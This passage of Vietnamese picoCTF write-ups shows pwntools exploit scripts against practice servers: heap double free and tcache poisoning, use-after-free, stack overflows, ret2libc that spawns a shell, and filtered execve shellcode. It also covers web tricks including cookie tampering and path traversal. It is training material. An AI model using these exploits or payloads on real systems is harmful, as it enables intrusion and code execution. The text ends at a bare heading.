add(248,p64(libc.sym['__free_hook'])) #ow fw chunk 2 add(264,b'0') #reused bin 1 add(264,p64(win)) #reused bin 2 by win_addr delete(0) p.interactive() #picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof} ``` >picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof} --- ### Catch Me Outside - check file + checksec ![](https://hackmd.io/_uploads/S1FR9Oua2.png) - check ida ![](https://hackmd.io/_uploads/ryp7oOu6h.png) - pwninit ![](https://hackmd.io/_uploads/SyETc_OTh.png) > ta phải patchef libc vào file mới chạy được > do sự khác nhau về version libc của system và libc được cung cấp - chương trình sẽ tạo 7 cái malloc, nhưng chỉ có 1 malloc là chứa flag của mình - sau đó free 2 con trỏ **dest** và **v11** ![![Uploading file..._z8lck78px]() ](https://hackmd.io/_uploads/S1Ytoud6h.png) - khi gần kết thúc chương trình, nó lại gọi malloc lần nữa cùng size, đồng nghĩa lôi freed chunk từ tcache ra dùng lại ![](https://hackmd.io/_uploads/HJpJ3dd62.png) - việc của mình là thay đổi chunk để malloc ra đúng với vị trí flag của mình ![](https://hackmd.io/_uploads/SyLX3uda3.png) > malloc lại freed chunk là chunk dưới cùng, flag mình ở trên ---> **v6** mình điền số âm - đọc source asm tí để hiểu cách ``v8[v6] = v5;`` ![](https://hackmd.io/_uploads/rykvEWFTn.png) > $rbp-0xa0 là con số âm offset của mình > $rbp-0x98 là chunk đầu tiên chứa flag > ![](https://hackmd.io/_uploads/rJ8ANbK62.png) > $rbp-0xa1 là value của mình > lấy chunk 34a0 + thêm offset > ghi đè 1 byte cuối thành chunk mới > (lúc này thử offset '-40' và value là '0'(\x30) ) - **target** là khi malloc lại lần nữa rơi vào chunk chứa flag - dựa vào **tcache data structure**, ta tính offset: - ta cần offset từ 34a0 đó trỏ về entry cảu freed chunk ![](https://hackmd.io/_uploads/S1OPqZFpn.png) > offset '-0x1418' - khi ta trỏ được rồi, value tiếp theo sẽ sửa chunk 1 byte duy nhất ![](https://hackmd.io/_uploads/rykncbF63.png) > sửa byte '0x90' - thì hợp lí nhất sẽ là byte '\x00' (entry của chunk này lại chính là chunk sau ---> tcache bin k còn 2 freed chunk nữa mà bây giờ thành 1) - thì lần malloc tiếp theo sẽ lôi chunk 3800 ra ![](https://hackmd.io/_uploads/S1U3obF6n.png) - sau đó **puts()** ở vị trí +16 theo ida (hoặc 0x10 theo asm) - tức là nội dung in ra từ nằm ở giữa chữ 'Your flag' ![](https://hackmd.io/_uploads/r15dhFOTh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./heapedit_patched', checksec=False) libc = ELF('./libc.so.6',checksec=False) ld = ELF('./ld-2.27.so',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+541 b*main+579 b*main+599 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('mercury.picoctf.net', 10097) else: p = process(exe.path) GDB() sla(b'Address: ',str(-0x1418)) sla(b'Value: ',b'\0') p.interactive() #picoCTF{97c85bbf2168f674263a1c5629b411a3} ``` >picoCTF{97c85bbf2168f674263a1c5629b411a3} --- ### Unsubscriptions Are Free - check file + checksec ![](https://hackmd.io/_uploads/SyagwotT3.png) - source: ```c #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 typedef struct { uintptr_t (*whatToDo)(); char *username; } cmd; char choice; cmd *user; void hahaexploitgobrrr(){ char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } char * getsline(void) { getchar(); char * line = malloc(100), * linep = line; size_t lenmax = 100, len = lenmax; int c; if(line == NULL) return NULL; for(;;) { c = fgetc(stdin); if(c == EOF) break; if(--len == 0) { len = lenmax; char * linen = realloc(linep, lenmax *= 2); if(linen == NULL) { free(linep); return NULL; } line = linen + (line - linep); linep = linen; } if((*line++ = c) == '\n') break; } *line = '\0'; return linep; } void doProcess(cmd* obj) { (*obj->whatToDo)(); } void s(){ printf("OOP! Memory leak...%p\n",hahaexploitgobrrr); puts("Thanks for subsribing! I really recommend becoming a premium member!"); } void p(){ puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)"); } void m(){ puts("Account created."); } void leaveMessage(){ puts("I only read premium member messages but you can "); puts("try anyways:"); char* msg = (char*)malloc(8); read(0, msg, 8); } void i(){ char response; puts("You're leaving already(Y/N)?"); scanf(" %c", &response); if(toupper(response)=='Y'){ puts("Bye!"); free(user); }else{ puts("Ok. Get premium membership please!"); } } void printMenu(){ puts("Welcome to my stream! ^W^"); puts("=========================="); puts("(S)ubscribe to my channel"); puts("(I)nquire about account deletion"); puts("(M)ake an Twixer account"); puts("(P)ay for premium membership"); puts("(l)eave a message(with or without logging in)"); puts("(e)xit"); } void processInput(){ scanf(" %c", &choice); choice = toupper(choice); switch(choice){ case 'S': if(user){ user->whatToDo = (void*)s; }else{ puts("Not logged in!"); } break; case 'P': user->whatToDo = (void*)p; break; case 'I': user->whatToDo = (void*)i; break; case 'M': user->whatToDo = (void*)m; puts("==========================="); puts("Registration: Welcome to Twixer!"); puts("Enter your username: "); user->username = getsline(); break; case 'L': leaveMessage(); break; case 'E': exit(0); default: puts("Invalid option!"); exit(1); break; } } int main(){ setbuf(stdout, NULL); user = (cmd *)malloc(sizeof(user)); while(1){ printMenu(); processInput(); //if(user){ doProcess(user); //} } return 0; } ``` > theo như source thì option cần khai thác là 'S', 'L', 'M' và 'I' - check ida ![](https://hackmd.io/_uploads/BJxmBPoFan.png) > **main()** ![](https://hackmd.io/_uploads/SJcaPjFp2.png) > **s()** > in cho ta địa chỉ hàm lấy flag > mà PIE tĩnh nên leak cũng được hoặc lấy địa chỉ trực tiếp cũng được ![](https://hackmd.io/_uploads/SJx1_sYph.png) > **leaveMessage()** > malloc(8) rồi read data vào nó ![](https://hackmd.io/_uploads/B1ZjujKpn.png) > **i()** > free(user) > không xoá pointer sau khi free ---> UAF hoặc DBF ![](https://hackmd.io/_uploads/HyNA_3Fah.png) > option 'M' > đọc data vào user - nhận thấy là target của chúng ta là hàm **hahaexploitgobrrr()** - phân tích struct ![](https://hackmd.io/_uploads/BJgTK3Yan.png) > sau khi opyion 'M' điền data cho user > malloc(8) tạo chunk size 0x11 > 89f6 là user->whatToDo > c5c0 là user->username - free nó rồi option 'L' sửa lại chunk ![](https://hackmd.io/_uploads/S10WJ6K63.png) > do có hàm doProcess() sẽ thực thi cái user > ![](https://hackmd.io/_uploads/r17YJpFp2.png) > nên khi ghi 'aaaa' chương trình sẽ không hiểu thực thi hàm 0x61616161 ở đâu > BUG là UAF - get flag: ![](https://hackmd.io/_uploads/SyAoT3Fph.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) # p = process(exe.path) p = remote('mercury.picoctf.net',6312) # gdb.attach(p,gdbscript=''' # b*main+58 # b*leaveMessage+64 # b*i+128 # c # ''') # input() p.sendlineafter(b'(e)xit\n',b'S') p.recvuntil(b'...') win = int(p.recvline()[:-1],16) log.info('leak func: ' + hex(win)) p.sendlineafter(b'(e)xit\n',b'M') #insert data into *user p.sendline(b'hlaan') p.sendlineafter(b'(e)xit\n',b'I') #free p.sendline(b'Y') p.sendlineafter(b'(e)xit\n',b'L') #uaf p.send(p32(win)) p.interactive() #picoCTF{d0ubl3_j30p4rdy_ad77070e} ``` >picoCTF{d0ubl3_j30p4rdy_ad77070e} --- ### clutter-overflow - basic file check ![](https://hackmd.io/_uploads/HkJJFnTTn.png) - source ```c #include <stdio.h> #include <stdlib.h> #define SIZE 0x100 #define GOAL 0xdeadbeef const char* HEADER = " ______________________________________________________________________\n" "|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n" "| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n" "|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n" "| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n" "|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n" "| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n" "|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n" "| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n" "|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n" ".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n" "| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n" "| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n" "|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n" "|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" "\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n" "\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""; int main(void) { long code = 0; char clutter[SIZE]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts(HEADER); puts("My room is so cluttered..."); puts("What do you see?"); gets(clutter); if (code == GOAL) { printf("code == 0x%llx: how did that happen??\n", GOAL); puts("take a flag for your troubles"); system("cat flag.txt"); } else { printf("code == 0x%llx\n", code); printf("code != 0x%llx :(\n", GOAL); } return 0; } ``` - mục tiêu là trong code chúng ta (biến clutter) thoả mãn ``GOAL = 0xdeadbeef`` - thế thì overflow cơ bản thôi - tính offset: ![](https://hackmd.io/_uploads/SykKYnppn.png) > so sánh 0xdeadbeef với $rbp-0x8 > overflow đến $rbp-0x8 rồi thêm 0xdeadbeef ![](https://hackmd.io/_uploads/SyyAY2pT2.png) > 0x108 bytes 'a' rồi p64(0xdeadbeef) ![](https://hackmd.io/_uploads/rkRd9hTT3.png) - script: ```python #!/usr/bin/python3 from pwn import * p = remote('mars.picoctf.net',31890) payload = b'a'*0x108 payload += p64(0xdeadbeef) p.sendline(payload) p.interactive() #picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r} ``` >picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r} --- ### Here's a LIBC - basic file check ![](https://hackmd.io/_uploads/rJiwaaa6n.png) - check ida ![](https://hackmd.io/_uploads/B1KCHp6a3.png) > **main()** ![](https://hackmd.io/_uploads/SyrlIa6a2.png) > **convert_case()** ![](https://hackmd.io/_uploads/B1J-L6aT3.png) > **do_stuff()** - có lỗi BOF ở hàm **do_stuff()** - no **win()** func ---> ret2libc - calculate offset ![](https://hackmd.io/_uploads/HkpmyRap3.png) > 0x88 (tính từ $rsi xuống $rbp) - việc còn lại là... ![](https://hackmd.io/_uploads/B1uThpaah.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln_patched',checksec=False) libc= ELF('./libc.so.6',checksec=False) # p = process(exe.path) p = remote('mercury.picoctf.net',62289) # gdb.attach(p,gdbscript=''' # b*do_stuff+152 # c # ''') # input() pop_rdi = 0x0000000000400913 ret = 0x000000000040052e p.recvline() payload = b'a'*0x88 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendline(payload) p.recvuntil(b'\n') libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] log.info('libc leak: ' + hex(libc_leak)) log.info('libc base: ' + hex(libc.address)) payload = b'a'*0x88 payload += p64(ret) payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(libc.sym['system']) p.sendline(payload) p.interactive() #picoCTF{1_<3_sm4sh_st4cking_ 8652b55904cb7c} ``` > ``picoCTF{1_<3_sm4sh_st4cking_ 8652b55904cb7c}`` --- ### Local Target - basic file check ![](https://hackmd.io/_uploads/rkmvr8Aa3.png) - source: ```c #include <stdio.h> #include <stdlib.h> int main(){ FILE *fptr; char c; char input[16]; int num = 64; printf("Enter a string: "); fflush(stdout); gets(input); printf("\n"); printf("num is %d\n", num); fflush(stdout); if( num == 65 ){ printf("You win!\n"); fflush(stdout); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); fflush(stdout); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } fflush(stdout); printf("\n"); fflush(stdout); fclose(fptr); exit(0); } printf("Bye!\n"); fflush(stdout); } ``` - target của mình là biến **num** bằng giá trị 65 (0x41) - đọc asm xíu ![](https://hackmd.io/_uploads/Syx4IL0Th.png) > tại main+12 sẽ khởi tạo giá trị biến num=64 như source (64=0x40) > ta cần $rbp-0x8 bằng giá trị 0x41 (num==65) - tính offset: ![](https://hackmd.io/_uploads/Sk8JP80Th.png) >0x18 > ta chỉ việc gửi 0x19 byte 'A' là xong ![](https://hackmd.io/_uploads/HkUODURph.png) - script: (ngắn gọn, không cần script cũng đc) ![](https://hackmd.io/_uploads/Bkh4uI062.png) > 'AAAAAAAAAAAAAAAAAAAAAAAAA' ```python from pwn import * p = remote('saturn.picoctf.net',54998) p.sendline(b'A'*0x19) p.interactive() #picoCTF{l0c4l5_1n_5c0p3_ee58441a} ``` > picoCTF{l0c4l5_1n_5c0p3_ee58441a} --- ### Picker IV - basic file check ![](https://hackmd.io/_uploads/By49K8Can.png) - source: ```c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void print_segf_message(){ printf("Segfault triggered! Exiting.\n"); sleep(15); exit(SIGSEGV); } int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } int main() { signal(SIGSEGV, print_segf_message); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered unsigned int val; printf("Enter the address in hex to jump to, excluding '0x': "); scanf("%x", &val); printf("You input 0x%x\n", val); void (*foo)(void) = (void (*)())val; foo(); } ``` - từ source cho thấy nó sẽ nhảy giúp mình vào 1 hàm - thì ret2win nhưng không cần script - check địa chỉ hàm **win()** ![](https://hackmd.io/_uploads/By8ScLCTn.png) > 0x40129e - chỉ cần gửi bỏ '0x' là được ![](https://hackmd.io/_uploads/Hyjtq8ATh.png) >picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4} --- ### [babygame01](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame01) --- ### [babygame02](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame02) --- ### [two sum](https://hackmd.io/@trhoanglan04/BkNgwg7xn#two-sum) --- ### [hịacking](https://hackmd.io/@trhoanglan04/BkNgwg7xn#hijacking) --- ### [VNE](https://hackmd.io/@trhoanglan04/BkNgwg7xn#VNE) --- ### [tic-tac](https://hackmd.io/@trhoanglan04/BkNgwg7xn#tic-tac) --- ### RPS - check source: ```c #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/time.h> #include <sys/types.h> #define WAIT 60 static const char* flag = "[REDACTED]"; char* hands[3] = {"rock", "paper", "scissors"}; char* loses[3] = {"paper", "scissors", "rock"}; int wins = 0; int tgetinput(char *input, unsigned int l) { fd_set input_set; struct timeval timeout; int ready_for_reading = 0; int read_bytes = 0; if( l <= 0 ) { printf("'l' for tgetinput must be greater than 0\n"); return -2; } /* Empty the FD Set */ FD_ZERO(&input_set ); /* Listen to the input descriptor */ FD_SET(STDIN_FILENO, &input_set); /* Waiting for some seconds */ timeout.tv_sec = WAIT; // WAIT seconds timeout.tv_usec = 0; // 0 milliseconds /* Listening for input stream for any activity */ ready_for_reading = select(1, &input_set, NULL, NULL, &timeout); /* Here, first parameter is number of FDs in the set, * second is our FD set for reading, * third is the FD set in which any write activity needs to updated, * which is not required in this case. * Fourth is timeout */ if (ready_for_reading == -1) { /* Some error has occured in input */ printf("Unable to read your input\n"); return -1; } if (ready_for_reading) { read_bytes = read(0, input, l-1); if(input[read_bytes-1]=='\n'){ --read_bytes; input[read_bytes]='\0'; } if(read_bytes==0){ printf("No data given.\n"); return -4; } else { return 0; } } else { printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n"); return -3; } return 0; } bool play () { char player_turn[100]; srand(time(0)); int r; printf("Please make your selection (rock/paper/scissors):\n"); r = tgetinput(player_turn, 100); // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); } int computer_turn = rand() % 3; printf("You played: %s\n", player_turn); printf("The computer played: %s\n", hands[computer_turn]); if (strstr(player_turn, loses[computer_turn])) { puts("You win! Play again?"); return true; } else { puts("Seems like you didn't win this time. Play again?"); return false; } } int main () { char input[3] = {'\0'}; int command; int r; puts("Welcome challenger to the game of Rock, Paper, Scissors"); puts("For anyone that beats me 5 times in a row, I will offer up a flag I found"); puts("Are you ready?"); while (true) { puts("Type '1' to play a game"); puts("Type '2' to exit the program"); r = tgetinput(input, 3); // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); } if ((command = strtol(input, NULL, 10)) == 0) { puts("Please put in a valid number"); } else if (command == 1) { printf("\n\n"); if (play()) { wins++; } else { wins = 0; } if (wins >= 5) { puts("Congrats, here's the flag!"); puts(flag); } } else if (command == 2) { return 0; } else { puts("Please type either 1 or 2"); } } return 0; } ``` - challenge chỉ cho mỗi source, đơn giản thì ta sẽ đọc qua 1 lượt rồi note lại - in ra flag khi thắng trò kéo búa bao 5 lần - BUG nặng ở **strstr** ```c r = tgetinput(player_turn, 100); //input 100 byte // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); } int computer_turn = rand() % 3; printf("You played: %s\n", player_turn); printf("The computer played: %s\n", hands[computer_turn]); if (strstr(player_turn, loses[computer_turn])) { //BUG puts("You win! Play again?"); return true; ``` - **strstr** là tìm chuỗi B chứa trong A ![image](https://hackmd.io/_uploads/Byi23cI5p.png) >``char *strstr(const char *haystack, const char *needle);`` - tức là dù ``lose[computer_turn]`` là chuỗi gì đi nữa, thì miễn sao ``player_turn`` bao quát cả nó thì trả về **True** ```c char* hands[3] = {"rock", "paper", "scissors"}; char* loses[3] = {"paper", "scissors", "rock"}; ``` - payload cho 5 lần là ``paperscissorsrock`` ![image](https://hackmd.io/_uploads/HkzKCqI9p.png) - script (hoặc nhập chay cũng được): ```python #!/usr/bin/python3 from pwn import * p = remote('saturn.picoctf.net',61558) for i in range(0,5): p.sendlineafter(b'program',b'1') p.sendlineafter(b':',b'paperscissorsrock') p.interactive() #picoCTF{50M3_3X7R3M3_1UCK_C85AF58A} ``` >picoCTF{50M3_3X7R3M3_1UCK_C85AF58A} --- ### filtered-shellcode - basic file check ![image](https://hackmd.io/_uploads/rJnEOef1R.png) - check ida ![image](https://hackmd.io/_uploads/HykP_eM1R.png) >**main()** ![image](https://hackmd.io/_uploads/r1t9def1C.png) >**execute()** #### analyse - ngồi mà đọc ida rồi reverse hiểu có mà mù quít - nên debug luôn cho nhanh - sẽ đặt breakpoint trước khi vào hàm **execute()** và lúc nó gọi thực thi `call eax` >`b*0x80486a3` >`b*0x80485c9` - test input là 20 byte 'a' ![image](https://hackmd.io/_uploads/rJzhFefJC.png) - ok payload bình thường, tiếp breakpoint thứ 2 ![image](https://hackmd.io/_uploads/rJRAFxGJ0.png) - got damn, thấy là cứ 2 byte của payload sẽ chèn 2 byte `nop` (0x90) >không bị ow đè lên payload - ròi cuối payload là byte `ret` (0xc3), nhìn lại ida chắc là do vòng lặp này ![image](https://hackmd.io/_uploads/BJmL9xzyA.png) - thế target mình là mỗi lệnh shellcode chỉ được 2 byte thôi - về '/bin/sh', ta phải push từng byte 1 rồi đẩy vào 1 thanh ghi nào đó để nhờ nhưng '/bin/sh' phải nằm trên stack - vì file 32bit nên chỉ đá động $eax, $ebx, $ecx và $edx nên ta lấy $edi sẽ chứa $esp - rồi chỉ gần ghi trên $edi là sẽ nằm trên stack $esp - còn lại `int 0x80` rồi get shell thôi #### get flag ![image](https://hackmd.io/_uploads/HylxuxMy0.png) - script ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./fun',checksec=False) # p = process(exe.path) p = remote('mercury.picoctf.net',16610) shellcode = asm(''' xor eax, eax push eax push eax mov edi,esp mov al,0x2f add [edi], al inc edi nop mov al,0x62 add [edi], al inc edi nop mov al,0x69 add [edi], al inc edi nop mov al,0x6e add [edi], al inc edi nop mov al,0x2f add [edi], al inc edi nop mov al,0x73 add [edi], al inc edi nop mov al,0x68 add [edi], al inc edi nop xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xb mov ebx, esp int 0x80 ''') p.sendline(shellcode) p.interactive() #picoCTF{th4t_w4s_fun_aa5df727802dc4a9} ``` >picoCTF{th4t_w4s_fun_aa5df727802dc4a9} --- ## Web Exploitation ### Cookies ![](https://hackmd.io/_uploads/SJSyNaKph.png) - click chuột phải chọn ==Kiểm tra== ![](https://hackmd.io/_uploads/SJVZMTK63.png) - thấy rằng cookie hiện giờ là '-1' - thử đổi sang '1' ![](https://hackmd.io/_uploads/S1MEGatan.png) > chả có gì cả - sang số khác ![](https://hackmd.io/_uploads/SJvBzTtpn.png) > 1 cái quote khác - thì sau khi thử nhiều lần cookie thì thấy '18' hiển thị flag ![](https://hackmd.io/_uploads/SkvjzaK6h.png) - giả sử cookie ở vị trí cao hơn thì không may mắn đến vậy =))) - lúc đó cách tốt nhất là dùng BurpSuit brute thôi >picoCTF{3v3ry1_l0v3s_c00k135_96cdadfd} --- ### Includes ![](https://hackmd.io/_uploads/S1RVh3TTn.png) - crtl + U ![](https://hackmd.io/_uploads/H1J-2n6Tn.png) - kiểm tra file .css và .js ![](https://hackmd.io/_uploads/SJ0whn6p3.png) >picoCTF{1nclu51v17y_1of2_ ![](https://hackmd.io/_uploads/rJ6833Ta2.png) >f7w_2of2_6edef411} - flag: > picoCTF{1nclu51v17y_1of2_f7w_2of2_6edef411} --- ### logon ![](https://hackmd.io/_uploads/B1IZ_G-6h.png) - click chuột trái, chọn ==Kiểm tra== ![](https://hackmd.io/_uploads/H1M8_fZph.png) > lúc này tham số ``admin`` đang là **False** > thì double click sửa lại thành **True** rồi load lại trang là có flag (fake admin) ![](https://hackmd.io/_uploads/ryg2_fbph.png) >picoCTF{th3_c0nsp1r4cy_l1v3s_6edb3f5f} --- ### where are the robots ![](https://hackmd.io/_uploads/SJZrq6Yp3.png) - từ đề bài, cũng nghĩ đến ngay robots.txt ![](https://hackmd.io/_uploads/rk5PcTK63.png) - chuẩn mịa rồi ![](https://hackmd.io/_uploads/HJSF96Fp2.png) - chỉ mình đường dẫn khác - truy cập vào đó là có flag ![](https://hackmd.io/_uploads/B11pqTFTh.png) >picoCTF{ca1cu1at1ng_Mach1n3s_8028f} --- ### dont-use-client-side ![](https://hackmd.io/_uploads/SkZXFGZpn.png) - ctrl + U kiểm tra nguồn trang ![](https://hackmd.io/_uploads/BJ-BKMWph.png) - flag nằm ở đây, việc mình bây giờ là sắp xếp lại từ ``split*1 đến split*8`` là được, thêm 'pico' cho đúng format flag >picoCTF{no_clients_plz_7723ce} --- ### Client-side-again ![](https://hackmd.io/_uploads/S15Jypp62.png) - ctrl + U ![](https://hackmd.io/_uploads/ryar0na62.png) - flag nằm trong mảng array >picoCTF{not_this_again_50a029} ___ ### Insp3ct0r ![](https://hackmd.io/_uploads/Syre5fbpn.png) - theo hint, flag sẽ được chia thành 3 phần - ctrl + U kiểm tra ![](https://hackmd.io/_uploads/SyQQcMWTn.png) > thấy phần 1 'picoCTF{tru3_d3' - check thêm 2 file .css và .js ![](https://hackmd.io/_uploads/B19BqMZah.png) - part 2 ![](https://hackmd.io/_uploads/SJQw5MWa3.png) > 't3ct1ve_0r_ju5t' - part 3 ![](https://hackmd.io/_uploads/r1AYqM-an.png) > '_lucky?f10be399}' - flag: >picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?f10be399} --- ### Inspect HTML ![](https://hackmd.io/_uploads/rkoXjGZp3.png) - ctrl + U ![](https://hackmd.io/_uploads/rJbWiG-a2.png) >picoCTF{1n5p3t0r_0f_h7ml_1fd8425b} --- ### Local Authority ![](https://hackmd.io/_uploads/rkWdifZp2.png) - ctrl + U ![](https://hackmd.io/_uploads/SJOcsz-63.png) > chả có gì khai thác - nhập đại cred rồi ctrl + U lần nữa ![](https://hackmd.io/_uploads/B19-hz-T2.png) - check file secure.js ![](https://hackmd.io/_uploads/rkPmhG-Tn.png) - nhập lại với cred như trên là có flag ![](https://hackmd.io/_uploads/SJCSnMbah.png) > picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb} --- ### login ![](https://hackmd.io/_uploads/Sy7y6GbTn.png) >https://login.mars.picoctf.net/ - ctrl + U ![](https://hackmd.io/_uploads/r1oHaMZph.png) > nhận thấy chuỗi string đó bất thường (chắc bị encoded) - vậy ta cần decode đoạn đó là có flag ![](https://hackmd.io/_uploads/HySKaG-T2.png) >picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r} --- ### Scavenger Hunt ![](https://hackmd.io/_uploads/rJeKCGb63.png) - làm gì thì làm, cứ ctrl + U trước đã ![](https://hackmd.io/_uploads/Bki3Af-6n.png) >'picoCTF{t' - check tiếp 2 file .css và .js ![](https://hackmd.io/_uploads/rJDQ1XZ62.png) - .css ![](https://hackmd.io/_uploads/HJVfJ7bpn.png) > 'h4ts_4_l0' - .js ![](https://hackmd.io/_uploads/B1FVJXb62.png) > lần này k có part 3 nhưng lại nhận 1 gợi ý khác - Google sẽ sử dụng công cụ ``Google web crawling/spider engine`` để thiết lập các chỉ mục (index) của nó - để author k muốn những điều này diễn ra, sẽ thêm 1 đường dẫn '/robots.txt' để ngăn điều này - check '/robots.txt' ![](https://hackmd.io/_uploads/HJKrmmbp3.png) >'t_0f_pl4c' > lại thêm 1 hint khác và có lẽ flag chưa hết - liên quan đến apache server, có lẽ là mình cần access vào quyền quản lí của apache - ref : https://httpd.apache.org/docs/2.4/howto/htaccess.html - check '/.htaccess' ![](https://hackmd.io/_uploads/BJhcV7Wan.png) >'3s_2_lO0k' - từ những gì được hint, liên quan đến cách lưu trữ thông tin website trên MAC ![](https://hackmd.io/_uploads/SkMjPXW6h.png) - ref : https://en.wikipedia.org/wiki/.DS_Store - check '/.DS_Store' ![](https://hackmd.io/_uploads/Byog_m-a3.png) >'_35844447}' - flag: > picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_35844447} --- ### Forbidden Paths ![](https://hackmd.io/_uploads/Sk1cKB06n.png) - theo như description, flag nằm ở thư mục gốc '/flag.txt' - nhưng hiện tại đang đọc ở thư mục '/usr/share/nginx/html/' ![](https://hackmd.io/_uploads/Hybo9rRah.png) - vậy đọc file '/../../../../flag.txt' thôi ![](https://hackmd.io/_uploads/SJvoFB062.png) >picoCTF{7h3_p47h_70_5ucc355_e5fe3d4d} --- ### Secrets ![](https://hackmd.io/_uploads/HJhRhH06h.png) - ctrl + U ![](https://hackmd.io/_uploads/B1vf6SCTh.png) - dựa vào hint thấy là 'folders folders folders' - chắc chắn ta cần tuy cập vào 1 folder nào đó - dựa vào source trên, ta thấy '/secret/' khá là đáng ngờ ![](https://hackmd.io/_uploads/BJOC6HCph.png) - tiếp tục lại 1 path khác '/hidden/' ![](https://hackmd.io/_uploads/r1a-0rCah.png) - thêm 1 path khác nữa '/superhidden/' ![](https://hackmd.io/_uploads/HySmRSC62.png) - path hoàn chỉnh '/secret/hidden/superhidden/' >picoCTF{succ3ss_@h3n1c@10n_51b260fe} --- ### caas ![](https://hackmd.io/_uploads/rkgVwLX4C3.png) - 